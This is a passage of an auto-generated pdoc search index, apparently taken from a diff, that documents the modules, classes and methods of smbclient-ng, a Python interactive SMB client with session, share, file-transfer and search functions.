\n"}, {"fullname": "smbclientng.core.Module.Module.__init__", "modulename": "smbclientng.core.Module", "qualname": "Module.__init__", "kind": "function", "doc": "

\n", "signature": "(smbSession, config)"}, {"fullname": "smbclientng.core.Module.Module.name", "modulename": "smbclientng.core.Module", "qualname": "Module.name", "kind": "variable", "doc": "

\n", "default_value": "''"}, {"fullname": "smbclientng.core.Module.Module.description", "modulename": "smbclientng.core.Module", "qualname": "Module.description", "kind": "variable", "doc": "

\n", "default_value": "''"}, {"fullname": "smbclientng.core.Module.Module.smbSession", "modulename": "smbclientng.core.Module", "qualname": "Module.smbSession", "kind": "variable", "doc": "

\n", "default_value": "None"}, {"fullname": "smbclientng.core.Module.Module.options", "modulename": "smbclientng.core.Module", "qualname": "Module.options", "kind": "variable", "doc": "

\n", "default_value": "None"}, {"fullname": "smbclientng.core.Module.Module.config", "modulename": "smbclientng.core.Module", "qualname": "Module.config", "kind": "variable", "doc": "

\n"}, {"fullname": "smbclientng.core.Module.Module.parseArgs", "modulename": "smbclientng.core.Module", "qualname": "Module.parseArgs", "kind": "function", "doc": "

\n", "signature": "(self):", "funcdef": "def"}, {"fullname": "smbclientng.core.Module.Module.run", "modulename": "smbclientng.core.Module", "qualname": "Module.run", "kind": "function", "doc": "

Placeholder method for running the module.

\n\n

This method should be implemented by subclasses to define the specific behavior of the module.

\n", "signature": "(self):", "funcdef": "def"}, {"fullname": "smbclientng.core.Module.Module.processArguments", "modulename": "smbclientng.core.Module", "qualname": "Module.processArguments", "kind": "function", "doc": "

\n", "signature": "(self, parser, arguments):", "funcdef": "def"}, {"fullname": "smbclientng.core.ModuleArgumentParser", "modulename": "smbclientng.core.ModuleArgumentParser", "kind": "module", "doc": "

\n"}, {"fullname": "smbclientng.core.ModuleArgumentParser.ModuleArgumentParser", "modulename": "smbclientng.core.ModuleArgumentParser", "qualname": "ModuleArgumentParser", "kind": "class", "doc": "

A custom argument parser for handling module-specific command-line arguments in the smbclientng application.

\n\n

This class extends the argparse.ArgumentParser and provides custom error handling specific to the needs of smbclientng modules.\nIt is designed to provide clear and user-friendly command-line interfaces for various modules within the smbclientng suite.

\n\n

Attributes:\n None

\n\n

Methods:\n error(message: str):\n Overrides the default error handling to provide a more informative error message and display the help text.

\n", "bases": "argparse.ArgumentParser"}, {"fullname": "smbclientng.core.ModuleArgumentParser.ModuleArgumentParser.error", "modulename": "smbclientng.core.ModuleArgumentParser", "qualname": "ModuleArgumentParser.error", "kind": "function", "doc": "

Overrides the default error handling of argparse.ArgumentParser to provide a custom error message and help display.

\n\n

This method is called when ArgumentParser encounters an error. It writes the error message to stderr,\ndisplays the help message, and then exits the program with a status code of 2.

\n\n

Args:\n message (str): The error message to be displayed.

\n", "signature": "(self, message):", "funcdef": "def"}, {"fullname": "smbclientng.core.SMBSession", "modulename": "smbclientng.core.SMBSession", "kind": "module", "doc": "

\n"}, {"fullname": "smbclientng.core.SMBSession.SMBSession", "modulename": "smbclientng.core.SMBSession", "qualname": "SMBSession", "kind": "class", "doc": "

Class SMBSession is designed to handle the session management for SMB (Server Message Block) protocol connections.\nIt provides functionalities to connect to an SMB server, authenticate using either NTLM or Kerberos, and manage SMB shares.

\n\n

Attributes:\n address (str): The IP address or hostname of the SMB server.\n domain (str): The domain name for SMB server authentication.\n username (str): The username for SMB server authentication.\n password (str): The password for SMB server authentication.\n lmhash (str): The LM hash of the user's password, if available.\n nthash (str): The NT hash of the user's password, if available.\n use_kerberos (bool): A flag to determine whether to use Kerberos for authentication.\n kdcHost (str): The Key Distribution Center (KDC) host for Kerberos authentication.\n debug (bool): A flag to enable debug output.\n smbClient (object): The SMB client object used for the connection.\n connected (bool): A flag to check the status of the connection.\n smb_share (str): The current SMB share in use.\n smb_path (str): The current path within the SMB share.

\n\n

Methods:\n __init__(address, domain, username, password, lmhash, nthash, use_kerberos=False, kdcHost=None, debug=False):\n Initializes the SMBSession with the specified parameters.\n init_smb_session():\n Initializes the SMB session by connecting to the server and authenticating using the specified method.

\n"}, {"fullname": "smbclientng.core.SMBSession.SMBSession.__init__", "modulename": "smbclientng.core.SMBSession", "qualname": "SMBSession.__init__", "kind": "function", "doc": "

\n", "signature": "(\taddress,\tdomain,\tusername,\tpassword,\tlmhash,\tnthash,\tuse_kerberos=False,\tkdcHost=None,\tconfig=None)"}, {"fullname": "smbclientng.core.SMBSession.SMBSession.config", "modulename": "smbclientng.core.SMBSession", "qualname": "SMBSession.config", "kind": "variable", "doc": "

\n"}, {"fullname": "smbclientng.core.SMBSession.SMBSession.address", "modulename": "smbclientng.core.SMBSession", "qualname": "SMBSession.address", "kind": "variable", "doc": "

\n"}, {"fullname": "smbclientng.core.SMBSession.SMBSession.domain", "modulename": "smbclientng.core.SMBSession", "qualname": "SMBSession.domain", "kind": "variable", "doc": "

\n"}, {"fullname": "smbclientng.core.SMBSession.SMBSession.username", "modulename": "smbclientng.core.SMBSession", "qualname": "SMBSession.username", "kind": "variable", "doc": "

\n"}, {"fullname": "smbclientng.core.SMBSession.SMBSession.password", "modulename": "smbclientng.core.SMBSession", "qualname": "SMBSession.password", "kind": "variable", "doc": "

\n"}, {"fullname": "smbclientng.core.SMBSession.SMBSession.lmhash", "modulename": "smbclientng.core.SMBSession", "qualname": "SMBSession.lmhash", "kind": "variable", "doc": "

\n"}, {"fullname": "smbclientng.core.SMBSession.SMBSession.nthash", "modulename": "smbclientng.core.SMBSession", "qualname": "SMBSession.nthash", "kind": "variable", "doc": "

\n"}, {"fullname": "smbclientng.core.SMBSession.SMBSession.use_kerberos", "modulename": "smbclientng.core.SMBSession", "qualname": "SMBSession.use_kerberos", "kind": "variable", "doc": "

\n"}, {"fullname": "smbclientng.core.SMBSession.SMBSession.kdcHost", "modulename": "smbclientng.core.SMBSession", "qualname": "SMBSession.kdcHost", "kind": "variable", "doc": "

\n"}, {"fullname": "smbclientng.core.SMBSession.SMBSession.smbClient", "modulename": "smbclientng.core.SMBSession", "qualname": "SMBSession.smbClient", "kind": "variable", "doc": "

\n"}, {"fullname": "smbclientng.core.SMBSession.SMBSession.connected", "modulename": "smbclientng.core.SMBSession", "qualname": "SMBSession.connected", "kind": "variable", "doc": "

\n"}, {"fullname": "smbclientng.core.SMBSession.SMBSession.available_shares", "modulename": "smbclientng.core.SMBSession", "qualname": "SMBSession.available_shares", "kind": "variable", "doc": "

\n"}, {"fullname": "smbclientng.core.SMBSession.SMBSession.smb_share", "modulename": "smbclientng.core.SMBSession", "qualname": "SMBSession.smb_share", "kind": "variable", "doc": "

\n"}, {"fullname": "smbclientng.core.SMBSession.SMBSession.smb_cwd", "modulename": "smbclientng.core.SMBSession", "qualname": "SMBSession.smb_cwd", "kind": "variable", "doc": "

\n"}, {"fullname": "smbclientng.core.SMBSession.SMBSession.init_smb_session", "modulename": "smbclientng.core.SMBSession", "qualname": "SMBSession.init_smb_session", "kind": "function", "doc": "

Initializes and establishes a session with the SMB server.

\n\n

This method sets up the SMB connection using either Kerberos or NTLM authentication based on the configuration.\nIt attempts to connect to the SMB server specified by the address attribute and authenticate using the credentials provided during the object's initialization.

\n\n

The method will print debug information if the debug attribute is set to True. Upon successful connection and authentication, it sets the connected attribute to True.

\n\n

Returns:\n bool: True if the connection and authentication are successful, False otherwise.

\n", "signature": "(self):", "funcdef": "def"}, {"fullname": "smbclientng.core.SMBSession.SMBSession.close_smb_session", "modulename": "smbclientng.core.SMBSession", "qualname": "SMBSession.close_smb_session", "kind": "function", "doc": "

Closes the current SMB session by disconnecting the SMB client.

\n\n

This method ensures that the SMB client connection is properly closed. It checks if the client is connected\nand if so, it closes the connection and resets the connection status.

\n\n

Raises:\n Exception: If the SMB client is not initialized or if there's an error during the disconnection process.

\n", "signature": "(self):", "funcdef": "def"}, {"fullname": "smbclientng.core.SMBSession.SMBSession.get_file", "modulename": "smbclientng.core.SMBSession", "qualname": "SMBSession.get_file", "kind": "function", "doc": "

Retrieves a file from the specified path on the SMB share.

\n\n

This method attempts to retrieve a file from the given path within the currently connected SMB share.\nIf the path points to a directory, it skips the retrieval. It handles file retrieval by creating a local\nfile object and writing the contents of the remote file to it using the SMB client's getFile method.

\n\n

Parameters:\n path (str): The path of the file to retrieve. If None, uses the current smb_path.

\n\n

Returns:\n None

\n", "signature": "(self, path=None, keepRemotePath=False):", "funcdef": "def"}, {"fullname": "smbclientng.core.SMBSession.SMBSession.get_file_recursively", "modulename": "smbclientng.core.SMBSession", "qualname": "SMBSession.get_file_recursively", "kind": "function", "doc": "

Recursively retrieves files from a specified path on the SMB share.

\n\n

This method navigates through all directories starting from the given path,\nand downloads all files found. It handles directories recursively, ensuring\nthat all nested files are retrieved. The method skips over directory entries\nand handles errors gracefully, attempting to continue the operation where possible.

\n\n

Parameters:\n path (str): The initial directory path from which to start the recursive file retrieval.\n If None, it starts from the root of the configured SMB share.

\n", "signature": "(self, path=None):", "funcdef": "def"}, {"fullname": "smbclientng.core.SMBSession.SMBSession.info", "modulename": "smbclientng.core.SMBSession", "qualname": "SMBSession.info", "kind": "function", "doc": "

Displays information about the server and optionally the shares.

\n\n

This method prints detailed information about the server's characteristics such as NetBIOS names, DNS details, OS information, and SMB capabilities. If the share parameter is set to True and a share is currently set, it will also attempt to display information about the share.

\n\n

Parameters:\n share (bool): If True, display information about the current share.\n server (bool): If True, display information about the server.

\n\n

Returns:\n None

\n", "signature": "(self, share=True, server=True):", "funcdef": "def"}, {"fullname": "smbclientng.core.SMBSession.SMBSession.list_contents", "modulename": "smbclientng.core.SMBSession", "qualname": "SMBSession.list_contents", "kind": "function", "doc": "

Lists the contents of a specified directory on the SMB share.

\n\n

This method retrieves the contents of a directory specified by shareName and path. If shareName or path\nis not provided, it defaults to the instance's current SMB share or path. The method returns a dictionary with\nthe long names of the files and directories as keys and their respective SMB entry objects as values.

\n\n

Args:\n shareName (str, optional): The name of the SMB share. Defaults to the current SMB share if None.\n path (str, optional): The directory path to list contents from. Defaults to the current path if None.

\n\n

Returns:\n dict: A dictionary with file and directory names as keys and their SMB entry objects as values.

\n", "signature": "(self, path=None):", "funcdef": "def"}, {"fullname": "smbclientng.core.SMBSession.SMBSession.list_shares", "modulename": "smbclientng.core.SMBSession", "qualname": "SMBSession.list_shares", "kind": "function", "doc": "

Lists all the shares available on the connected SMB server.

\n\n

This method queries the SMB server to retrieve a list of all available shares. It populates the shares dictionary\nwith key-value pairs where the key is the share name and the value is a dictionary containing details about the share\nsuch as its name, type, raw type, and any comments associated with the share.

\n\n

Returns:\n dict: A dictionary containing information about each share available on the server.

\n", "signature": "(self):", "funcdef": "def"}, {"fullname": "smbclientng.core.SMBSession.SMBSession.mkdir", "modulename": "smbclientng.core.SMBSession", "qualname": "SMBSession.mkdir", "kind": "function", "doc": "

Creates a directory at the specified path on the SMB share.

\n\n

This method takes a path and attempts to create the directory structure on the SMB share. If the path includes\nnested directories, it will create each directory in the sequence. If a directory already exists, it will skip\nthe creation for that directory without raising an error.

\n\n

Args:\n path (str, optional): The full path of the directory to create on the SMB share. Defaults to None.

\n\n

Note:\n The path should use forward slashes ('/') which will be converted to backslashes (ntpath.sep) for SMB compatibility.

\n", "signature": "(self, path=None):", "funcdef": "def"}, {"fullname": "smbclientng.core.SMBSession.SMBSession.path_exists", "modulename": "smbclientng.core.SMBSession", "qualname": "SMBSession.path_exists", "kind": "function", "doc": "

Checks if the specified path exists on the SMB share.

\n\n

This method determines if a given path exists on the SMB share by attempting to list the contents of the path.\nIf the path listing is successful and returns one or more entries, the path is considered to exist.

\n\n

Args:\n path (str, optional): The path to check on the SMB share. Defaults to None.

\n\n

Returns:\n bool: True if the path exists, False otherwise or if an error occurs.

\n", "signature": "(self, path=None):", "funcdef": "def"}, {"fullname": "smbclientng.core.SMBSession.SMBSession.path_isdir", "modulename": "smbclientng.core.SMBSession", "qualname": "SMBSession.path_isdir", "kind": "function", "doc": "

Checks if the specified path is a directory on the SMB share.

\n\n

This method determines if a given path corresponds to a directory on the SMB share. It does this by listing the\ncontents of the path and filtering for entries that match the basename of the path and are marked as directories.

\n\n

Args:\n path (str, optional): The path to check on the SMB share. Defaults to None.

\n\n

Returns:\n bool: True if the path is a directory, False otherwise or if an error occurs.

\n", "signature": "(self, pathFromRoot=None):", "funcdef": "def"}, {"fullname": "smbclientng.core.SMBSession.SMBSession.path_isfile", "modulename": "smbclientng.core.SMBSession", "qualname": "SMBSession.path_isfile", "kind": "function", "doc": "

Checks if the specified path is a file on the SMB share.

\n\n

This method determines if a given path corresponds to a file on the SMB share. It does this by listing the\ncontents of the path and filtering for entries that match the basename of the path and are not marked as directories.

\n\n

Args:\n path (str, optional): The path to check on the SMB share. Defaults to None.

\n\n

Returns:\n bool: True if the path is a file, False otherwise or if an error occurs.

\n", "signature": "(self, path=None):", "funcdef": "def"}, {"fullname": "smbclientng.core.SMBSession.SMBSession.ping_smb_session", "modulename": "smbclientng.core.SMBSession", "qualname": "SMBSession.ping_smb_session", "kind": "function", "doc": "

Tests the connectivity to the SMB server by sending an echo command.

\n\n

This method attempts to send an echo command to the SMB server to check if the session is still active.\nIt updates the connected attribute of the class based on the success or failure of the echo command.

\n\n

Returns:\n bool: True if the echo command succeeds (indicating the session is active), False otherwise.

\n", "signature": "(self):", "funcdef": "def"}, {"fullname": "smbclientng.core.SMBSession.SMBSession.put_file", "modulename": "smbclientng.core.SMBSession", "qualname": "SMBSession.put_file", "kind": "function", "doc": "

Uploads a single file to the SMB share.

\n\n

This method takes a local file path, opens the file, and uploads it to the SMB share at the specified path.\nIt handles exceptions such as broken pipe errors or keyboard interrupts by closing and reinitializing the SMB session.\nGeneral exceptions are caught and logged, with a traceback provided if debugging is enabled.

\n\n

Args:\n localpath (str, optional): The local file path of the file to be uploaded. Defaults to None.

\n", "signature": "(self, localpath=None):", "funcdef": "def"}, {"fullname": "smbclientng.core.SMBSession.SMBSession.put_file_recursively", "modulename": "smbclientng.core.SMBSession", "qualname": "SMBSession.put_file_recursively", "kind": "function", "doc": "

Recursively uploads files from a specified local directory to the SMB share.

\n\n

This method walks through the given local directory and all its subdirectories, uploading each file to the\ncorresponding directory structure on the SMB share. It first checks if the local path is a directory. If it is,\nit iterates over all files and directories within the local path, creating necessary directories on the SMB share\nand uploading files. If the local path is not a directory, it prints an error message.

\n\n

Args:\n localpath (str, optional): The local directory path from which files will be uploaded. Defaults to None.

\n", "signature": "(self, localpath=None):", "funcdef": "def"}, {"fullname": "smbclientng.core.SMBSession.SMBSession.rmdir", "modulename": "smbclientng.core.SMBSession", "qualname": "SMBSession.rmdir", "kind": "function", "doc": "

Removes a directory from the SMB share at the specified path.

\n\n

This method attempts to delete a directory located at the given path on the SMB share. If the operation fails,\nit prints an error message indicating the failure and the reason. If debugging is enabled, it also prints\nthe stack trace of the exception.

\n\n

Args:\n path (str, optional): The path of the directory to be removed on the SMB share. Defaults to None.

\n", "signature": "(self, path=None):", "funcdef": "def"}, {"fullname": "smbclientng.core.SMBSession.SMBSession.rm", "modulename": "smbclientng.core.SMBSession", "qualname": "SMBSession.rm", "kind": "function", "doc": "

Removes a file from the SMB share at the specified path.

\n\n

This method attempts to delete a file located at the given path on the SMB share. If the operation fails,\nit prints an error message indicating the failure and the reason. If debugging is enabled, it also prints\nthe stack trace of the exception.

\n\n

Args:\n path (str, optional): The path of the file to be removed on the SMB share. Defaults to None.

\n", "signature": "(self, path=None):", "funcdef": "def"}, {"fullname": "smbclientng.core.SMBSession.SMBSession.tree", "modulename": "smbclientng.core.SMBSession", "qualname": "SMBSession.tree", "kind": "function", "doc": "

Recursively lists the directory structure of the SMB share starting from the specified path.

\n\n

This function prints a visual representation of the directory tree of the remote SMB share. It uses\nrecursion to navigate through directories and lists all files and subdirectories in each directory.\nThe output is color-coded and formatted to enhance readability, with directories highlighted in cyan.

\n\n

Args:\n path (str, optional): The starting path on the SMB share from which to begin listing the tree.\n Defaults to the root of the current share.

\n", "signature": "(self, path=None):", "funcdef": "def"}, {"fullname": "smbclientng.core.SMBSession.SMBSession.set_share", "modulename": "smbclientng.core.SMBSession", "qualname": "SMBSession.set_share", "kind": "function", "doc": "

Sets the current SMB share to the specified share name.

\n\n

This method updates the SMB session to use the specified share name. It checks if the share name is valid\nand updates the smb_share attribute of the SMBSession instance.

\n\n

Parameters:\n shareName (str): The name of the share to set as the current SMB share.

\n\n

Raises:\n ValueError: If the shareName is None or an empty string.

\n", "signature": "(self, shareName):", "funcdef": "def"}, {"fullname": "smbclientng.core.SMBSession.SMBSession.set_cwd", "modulename": "smbclientng.core.SMBSession", "qualname": "SMBSession.set_cwd", "kind": "function", "doc": "

Sets the current working directory on the SMB share to the specified path.

\n\n

This method updates the current working directory (cwd) of the SMB session to the given path if it is a valid directory.\nIf the specified path is not a directory, the cwd remains unchanged.

\n\n

Parameters:\n path (str): The path to set as the current working directory.

\n\n

Raises:\n ValueError: If the specified path is not a directory.

\n", "signature": "(self, path=None):", "funcdef": "def"}, {"fullname": "smbclientng.core.utils", "modulename": "smbclientng.core.utils", "kind": "module", "doc": "

\n"}, {"fullname": "smbclientng.core.utils.parse_lm_nt_hashes", "modulename": "smbclientng.core.utils", "qualname": "parse_lm_nt_hashes", "kind": "function", "doc": "

Parse the input string containing LM and NT hash values and return them separately.

\n\n

This function takes a string containing LM and NT hash values, typically separated by a colon (:).\nIt returns the LM and NT hash values as separate strings. If only one hash value is provided, it is\nassumed to be the NT hash and the LM hash is set to its default value. If no valid hash values are\nfound, both return values are empty strings.

\n\n

Args:\n lm_nt_hashes_string (str): A string containing LM and NT hash values separated by a colon.

\n\n

Returns:\n tuple: A tuple containing two strings (lm_hash_value, nt_hash_value).\n - lm_hash_value: The LM hash value or its default if not provided.\n - nt_hash_value: The NT hash value or its default if not provided.

\n\n

Extracted from p0dalirius/sectools library\nSrc: https://github.com/p0dalirius/sectools/blob/7bb3f5cb7815ad4d4845713c8739e2e2b0ea4e75/sectools/windows/crypto.py#L11-L24

\n", "signature": "(lm_nt_hashes_string):", "funcdef": "def"}, {"fullname": "smbclientng.core.utils.b_filesize", "modulename": "smbclientng.core.utils", "qualname": "b_filesize", "kind": "function", "doc": "

Convert a file size from bytes to a more readable format using the largest appropriate unit.

\n\n

This function takes an integer representing a file size in bytes and converts it to a human-readable\nstring using the largest appropriate unit from bytes (B) to petabytes (PB). The result is rounded to\ntwo decimal places.

\n\n

Args:\n l (int): The file size in bytes.

\n\n

Returns:\n str: A string representing the file size in a more readable format, including the appropriate unit.

\n", "signature": "(l):", "funcdef": "def"}, {"fullname": "smbclientng.core.utils.unix_permissions", "modulename": "smbclientng.core.utils", "qualname": "unix_permissions", "kind": "function", "doc": "

Generate a string representing the Unix-style permissions for a given file or directory.

\n\n

This function uses the os.lstat() method to retrieve the status of the specified file or directory,\nthen constructs a string that represents the Unix-style permissions based on the mode of the file.

\n\n

Args:\n entryname (str): The path to the file or directory for which permissions are being determined.

\n\n

Returns:\n str: A string of length 10 representing the Unix-style permissions (e.g., '-rwxr-xr--').\n The first character is either 'd' (directory), '-' (not a directory), followed by\n three groups of 'r', 'w', 'x' (read, write, execute permissions) for owner, group,\n and others respectively.

\n", "signature": "(entryname):", "funcdef": "def"}, {"fullname": "smbclientng.core.utils.STYPE_MASK", "modulename": "smbclientng.core.utils", "qualname": "STYPE_MASK", "kind": "function", "doc": "

Extracts the share type flags from a given share type value.

\n\n

This function uses bitwise operations to determine which share type flags are set in the provided stype_value.\nIt checks against known share type flags and returns a list of the flags that are set.

\n\n

Parameters:\n stype_value (int): The share type value to analyze, typically obtained from SMB share properties.

\n\n

Returns:\n list: A list of strings, where each string represents a share type flag that is set in the input value.

\n", "signature": "(stype_value):", "funcdef": "def"}, {"fullname": "smbclientng.core.utils.windows_ls_entry", "modulename": "smbclientng.core.utils", "qualname": "windows_ls_entry", "kind": "function", "doc": "

This function generates a metadata string based on the attributes of the provided entry object.

\n\n

Parameters:\n entry (object): An object representing a file or directory entry.

\n\n

Returns:\n str: A string representing the metadata of the entry, including attributes like directory, archive, compressed, hidden, normal, readonly, system, and temporary.

\n", "signature": "(entry, config, pathToPrint=None):", "funcdef": "def"}, {"fullname": "smbclientng.core.utils.local_tree", "modulename": "smbclientng.core.utils", "qualname": "local_tree", "kind": "function", "doc": "

This function recursively lists the contents of a directory in a tree-like format.

\n\n

Parameters:\n path (str): The path to the directory to list.\n config (object): Configuration settings which may affect the output, such as whether to use colors.

\n\n

Returns:\n None: This function does not return anything but prints the directory tree to the console.

\n", "signature": "(path, config):", "funcdef": "def"}, {"fullname": "smbclientng.modules", "modulename": "smbclientng.modules", "kind": "module", "doc": "

\n"}, {"fullname": "smbclientng.modules.Find", "modulename": "smbclientng.modules.Find", "kind": "module", "doc": "

\n"}, {"fullname": "smbclientng.modules.Find.Find", "modulename": "smbclientng.modules.Find", "qualname": "Find", "kind": "class", "doc": "

A class to search for files in a directory hierarchy.

\n\n

This class provides functionality to search for files based on various criteria in a directory hierarchy.

\n", "bases": "smbclientng.core.Module.Module"}, {"fullname": "smbclientng.modules.Find.Find.name", "modulename": "smbclientng.modules.Find", "qualname": "Find.name", "kind": "variable", "doc": "

\n", "default_value": "'find'"}, {"fullname": "smbclientng.modules.Find.Find.description", "modulename": "smbclientng.modules.Find", "qualname": "Find.description", "kind": "variable", "doc": "

\n", "default_value": "'Search for files in a directory hierarchy'"}, {"fullname": "smbclientng.modules.Find.Find.parseArgs", "modulename": "smbclientng.modules.Find", "qualname": "Find.parseArgs", "kind": "function", "doc": "

Parses the command line arguments provided to the module.

\n\n

This method initializes the argument parser with the module's name and description, and defines all the necessary arguments that the module accepts. It then parses the provided command line arguments based on these definitions.

\n\n

Args:\n arguments (str): A string of command line arguments.

\n\n

Returns:\n ModuleArgumentParser.Namespace | None: The parsed arguments as a Namespace object if successful, None if there are no arguments or help is requested.

\n", "signature": "(self, arguments):", "funcdef": "def"}, {"fullname": "smbclientng.modules.Find.Find.run", "modulename": "smbclientng.modules.Find", "qualname": "Find.run", "kind": "function", "doc": "

This function recursively searches for files in a directory hierarchy and prints the results based on specified criteria.

\n\n

Args:\n base_dir (str): The base directory to start the search from.\n paths (list): List of paths to search within the base directory.\n depth (int): The current depth level in the directory hierarchy.

\n\n

Returns:\n None

\n", "signature": "(self, arguments):", "funcdef": "def"}]; + /** pdoc search index */const docs = [{"fullname": "smbclientng", "modulename": "smbclientng", "kind": "module", "doc": "

\n"}, {"fullname": "smbclientng.core", "modulename": "smbclientng.core", "kind": "module", "doc": "

\n"}, {"fullname": "smbclientng.core.CommandCompleter", "modulename": "smbclientng.core.CommandCompleter", "kind": "module", "doc": "

\n"}, {"fullname": "smbclientng.core.CommandCompleter.CommandCompleter", "modulename": "smbclientng.core.CommandCompleter", "qualname": "CommandCompleter", "kind": "class", "doc": "

A class to handle command completion for the smbclient-ng shell.

\n\n

This class provides a command completion feature that suggests possible command names based on the current input.\nIt uses a dictionary to store commands and their descriptions, which helps in providing hints during the command line\ninteraction in the smbclient-ng shell.

\n\n

Attributes:\n smbSession (SMBSession): An instance of SMBSession which maintains the current SMB session.\n commands (dict): A dictionary containing command names as keys and their descriptions and subcommands as values.

\n\n

Methods:\n __init__(self, smbSession): Initializes the CommandCompleter with an SMBSession.

\n"}, {"fullname": "smbclientng.core.CommandCompleter.CommandCompleter.__init__", "modulename": "smbclientng.core.CommandCompleter", "qualname": "CommandCompleter.__init__", "kind": "function", "doc": "

\n", "signature": "(smbSession, config)"}, {"fullname": "smbclientng.core.CommandCompleter.CommandCompleter.commands", "modulename": "smbclientng.core.CommandCompleter", "qualname": "CommandCompleter.commands", "kind": "variable", "doc": "

\n", "default_value": "{'bat': {'description': ['Pretty prints the contents of a file.', "Syntax: 'bat <file>'"], 'subcommands': []}, 'cat': {'description': ['Get the contents of a file.', "Syntax: 'cat <file>'"], 'subcommands': []}, 'cd': {'description': ['Change the current working directory.', "Syntax: 'cd <directory>'"], 'subcommands': []}, 'close': {'description': ['Closes the SMB connection to the remote machine.', "Syntax: 'close'"], 'subcommands': []}, 'connect': {'description': ['Connect to the remote machine (useful if connection timed out).', "Syntax: 'connect'"], 'subcommands': []}, 'dir': {'description': ['List the contents of the current working directory.', "Syntax: 'dir'"], 'subcommands': []}, 'exit': {'description': ['Exits the smbclient-ng script.', "Syntax: 'exit'"], 'subcommands': []}, 'get': {'description': ['Get a remote file.', "Syntax: 'get [-r] <directory or file>'"], 'subcommands': []}, 'help': {'description': ['Displays this help message.', "Syntax: 'help'"], 'subcommands': ['format']}, 'info': {'description': ['Get information about the server and or the share.', "Syntax: 'info [server|share]'"], 'subcommands': ['server', 'share']}, 'lcd': {'description': ['Changes the current local directory.', "Syntax: 'lcd <directory>'"], 'subcommands': []}, 'lls': {'description': ['Lists the contents of the current local directory.', "Syntax: 'lls'"], 'subcommands': []}, 'lmkdir': {'description': ['Creates a new local directory.', "Syntax: 'lmkdir <directory>'"], 'subcommands': []}, 'lpwd': {'description': ['Shows the current local directory.', "Syntax: 'lpwd'"], 'subcommands': []}, 'lrm': {'description': ['Removes a local file.', "Syntax: 'lrm <file>'"], 'subcommands': []}, 'lrmdir': {'description': ['Removes a local directory.', "Syntax: 'lrmdir <directory>'"], 'subcommands': []}, 'ls': {'description': ['List the contents of the current remote working directory.', "Syntax: 'ls'"], 'subcommands': []}, 'ltree': {'description': ['Displays a tree view of the local directories.', "Syntax: 'ltree [directory]'"], 'subcommands': []}, 'mkdir': {'description': ['Creates a new remote directory.', "Syntax: 'mkdir <directory>'"], 'subcommands': []}, 'module': {'description': ['Loads a specific module for additional functionalities.', "Syntax: 'module <name>'"], 'subcommands': []}, 'put': {'description': ['Put a local file or directory in a remote directory.', "Syntax: 'put [-r] <directory or file>'"], 'subcommands': []}, 'reconnect': {'description': ['Reconnect to the remote machine (useful if connection timed out).', "Syntax: 'reconnect'"], 'subcommands': []}, 'reset': {'description': ['Reset the TTY output, useful if it was broken after printing a binary file on stdout.', "Syntax: 'reset'"], 'subcommands': []}, 'rmdir': {'description': ['Removes a remote directory.', "Syntax: 'rmdir <directory>'"], 'subcommands': []}, 'rm': {'description': ['Removes a remote file.', "Syntax: 'rm <file>'"], 'subcommands': []}, 'shares': {'description': ['Lists the SMB shares served by the remote machine.', "Syntax: 'shares'"], 'subcommands': []}, 'use': {'description': ['Use a SMB share.', "Syntax: 'use <sharename>'"], 'subcommands': []}, 'tree': {'description': ['Displays a tree view of the remote directories.', "Syntax: 'tree [directory]'"], 'subcommands': []}}"}, {"fullname": "smbclientng.core.CommandCompleter.CommandCompleter.smbSession", "modulename": "smbclientng.core.CommandCompleter", "qualname": "CommandCompleter.smbSession", "kind": "variable", "doc": "

\n"}, {"fullname": "smbclientng.core.CommandCompleter.CommandCompleter.config", "modulename": "smbclientng.core.CommandCompleter", "qualname": "CommandCompleter.config", "kind": "variable", "doc": "

\n"}, {"fullname": "smbclientng.core.CommandCompleter.CommandCompleter.complete", "modulename": "smbclientng.core.CommandCompleter", "qualname": "CommandCompleter.complete", "kind": "function", "doc": "

Function to handle command completion in the LDAP console.

\n\n

This function completes the user\"s input based on the available options for commands in the LDAP console.

\n\n

Args:\n text (str): The current text input by the user.\n state (int): The current state of completion.

\n\n

Returns:\n str: The next completion suggestion based on the user\"s input state.

\n", "signature": "(self, text, state):", "funcdef": "def"}, {"fullname": "smbclientng.core.CommandCompleter.CommandCompleter.print_help", "modulename": "smbclientng.core.CommandCompleter", "qualname": "CommandCompleter.print_help", "kind": "function", "doc": "

Prints help information for a specific command or all commands if no command is specified.

\n\n

This method displays the help information for the command passed as an argument. If no command is specified,\nit prints the help information for all available commands. The help information includes the command syntax,\ndescription, and any subcommands associated with it. This method is designed to provide users with the necessary\nguidance on how to use the commands in the smbclient-ng shell.

\n\n

Args:\n command (str, optional): The command to display help information for. If None, help for all commands is displayed.

\n\n

Returns:\n None

\n", "signature": "(self, command=None):", "funcdef": "def"}, {"fullname": "smbclientng.core.CommandCompleter.CommandCompleter.print_help_format", "modulename": "smbclientng.core.CommandCompleter", "qualname": "CommandCompleter.print_help_format", "kind": "function", "doc": "

Prints the help information for the 'format' used in remote 'ls' and 'dir' commands.

\n\n

This function displays the format of file attributes used in the smbclient-ng shell. It explains the meaning\nof each character in the file attribute string, such as whether a file is read-only, hidden, or a directory.

\n", "signature": "(self):", "funcdef": "def"}, {"fullname": "smbclientng.core.Config", "modulename": "smbclientng.core.Config", "kind": "module", "doc": "

\n"}, {"fullname": "smbclientng.core.Config.Config", "modulename": "smbclientng.core.Config", "qualname": "Config", "kind": "class", "doc": "

Configuration handler for smbclientng.

\n\n

This class manages the configuration settings for the smbclientng tool, including debug and color output settings.\nIt provides a structured way to access and modify these settings throughout the application.

\n\n

Attributes:\n _debug (bool): Flag to enable or disable debug mode.\n _no_colors (bool): Flag to enable or disable colored output, depending on the platform.

\n\n

Methods:\n debug: Property to get or set the debug mode.\n no_colors: Property to get or set the colored output preference.

\n"}, {"fullname": "smbclientng.core.Config.Config.__init__", "modulename": "smbclientng.core.Config", "qualname": "Config.__init__", "kind": "function", "doc": "

\n", "signature": "(debug=False, no_colors=None)"}, {"fullname": "smbclientng.core.Config.Config.debug", "modulename": "smbclientng.core.Config", "qualname": "Config.debug", "kind": "variable", "doc": "

\n"}, {"fullname": "smbclientng.core.Config.Config.no_colors", "modulename": "smbclientng.core.Config", "qualname": "Config.no_colors", "kind": "variable", "doc": "

\n"}, {"fullname": "smbclientng.core.InteractiveShell", "modulename": "smbclientng.core.InteractiveShell", "kind": "module", "doc": "

\n"}, {"fullname": "smbclientng.core.InteractiveShell.command_arguments_required", "modulename": "smbclientng.core.InteractiveShell", "qualname": "command_arguments_required", "kind": "function", "doc": "

